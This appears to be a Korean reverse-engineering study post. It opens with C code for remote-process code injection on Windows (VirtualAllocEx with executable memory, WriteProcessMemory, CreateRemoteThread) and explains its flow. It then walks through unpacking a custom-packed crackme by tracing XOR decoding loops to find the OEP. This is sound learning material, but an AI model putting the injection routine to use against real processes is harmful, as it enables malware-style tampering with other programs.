    // Allocation for THREAD_PARAM
    dwSize = sizeof(THREAD_PARAM);
    if( !(pRemoteBuf[0] = VirtualAllocEx(hProcess,          // hProcess
                                      NULL,                 // lpAddress
                                      dwSize,               // dwSize
                                      MEM_COMMIT,           // flAllocationType
                                      PAGE_READWRITE)) )    // flProtect
    {
        printf("VirtualAllocEx() fail : err_code = %d\n", GetLastError());
        return FALSE;
    }

    if( !WriteProcessMemory(hProcess,                       // hProcess
                            pRemoteBuf[0],                  // lpBaseAddress
                            (LPVOID)&param,                 // lpBuffer
                            dwSize,                         // nSize
                            NULL) )                         // [out] lpNumberOfBytesWritten
    {
        printf("WriteProcessMemory() fail : err_code = %d\n", GetLastError());
        return FALSE;
    }

    // Allocation for ThreadProc()
    dwSize = (DWORD)InjectCode - (DWORD)ThreadProc;
    if( !(pRemoteBuf[1] = VirtualAllocEx(hProcess,          // hProcess
                                      NULL,                 // lpAddress
                                      dwSize,               // dwSize
                                      MEM_COMMIT,           // flAllocationType
                                      PAGE_EXECUTE_READWRITE)) )    // flProtect
    {
        printf("VirtualAllocEx() fail : err_code = %d\n", GetLastError());
        return FALSE;
    }

    if( !WriteProcessMemory(hProcess,                       // hProcess
                            pRemoteBuf[1],                  // lpBaseAddress
                            (LPVOID)ThreadProc,             // lpBuffer
                            dwSize,                         // nSize
                            NULL) )                         // [out] lpNumberOfBytesWritten
    {
        printf("WriteProcessMemory() fail : err_code = %d\n", GetLastError());
        return FALSE;
    }

    if( !(hThread = CreateRemoteThread(hProcess,            // hProcess
                                       NULL,                // lpThreadAttributes
                                       0,                   // dwStackSize
                                       (LPTHREAD_START_ROUTINE)pRemoteBuf[1],     // dwStackSize
                                       pRemoteBuf[0],       // lpParameter
                                       0,                   // dwCreationFlags
                                       NULL)) )             // lpThreadId
    {
        printf("CreateRemoteThread() fail : err_code = %d\n", GetLastError());
        return FALSE;
    }

    WaitForSingleObject(hThread, INFINITE);    

    CloseHandle(hThread);
    CloseHandle(hProcess);

    return TRUE;
}

InjectCode() 함수의 앞 부분은 THREAD_PARAM 구조체 변수를 세팅하고 있다.

핵심 흐름은 아래와 같다.

OpenProcess()

// data : THREAD_PARAM
VirtualAllocEx()
WriteProcessMemory()

// code : ThreadProc()
VirtualAllocEx()
WriteProcessMemory()

CreateRemoteThread()

상대방 프로세스에 data와 code를 각각 메모리에 할당하고 인젝션하는 게 Code Injection의 핵심이다.

📌 사전 분석

코드를 분석하기 앞서 이 파일이 어떤 패커로 패킹이 되었는지 DIE(Detect-It-Easy)로 확인해 보았다. Imports like UPX로 되어있는 것 보아 UPX인 것 같다. 근데 PEView로 보면 PE 파일 포맷이 아래와 같다. 분명 UPX의 파일 포맷은 .upx0, .upx1 이었던 것 같은데 저 이상한 Section_Header들(Gogi , GWan)을 보니 upx는 아닌 것 같고 제작자가 별도로 커스텀해서 패킹한 파일인 것 같다.

그리고 PE Image는 위와 같이 로딩되었다.

📌 코드 분석

코드의 시작은 아래와 같다. 1. 코드를 쭉 읽다보면 해당 반복문이 나온다. 409000부터 적혀있는 값들에 대해 0x10,0x20,0x30,0x40,0x50을 순서대로 XOR 해준다.

이 값들 어디서 많이 본 것 같은데...? 해서 보니 아까 봤던 이상한 섹션 헤더 값이다. 이 과정이 디코딩 하는 과정으로 추측된다.

2. 이 코드 과정을 진행하다 보면 계속 반복됨을 알 수 있는데, 이 과정은 IAT값을 세팅하는 과정이다.

3. 이후에 과정에서 1과 같이 다시 디코딩하는 과정이 나온다. 이 때 ecx는 0x401000을 가리키는 데 해당 주소는 .text 영역이다.

4. 이후 디코딩 과정이 한 번 더 나온다. 이 때 ecx는 0x406000을 가리키는데 해당 주소는 .data 영역이다.

5. 마지막에 jmp 401150이 있는데 이 주소를 타고 가면 아래의 코드가 나오고

push ebp, mov ebp,esp와 같은 함수 프롤로그를 보니까 401150이 OEP라는 것을 알 수 있다. 결론 : OEP = 0x401150

디코딩 하는 과정만 제대로 읽고 넘어갈 줄 알면 쉽게 풀리는 문제였다.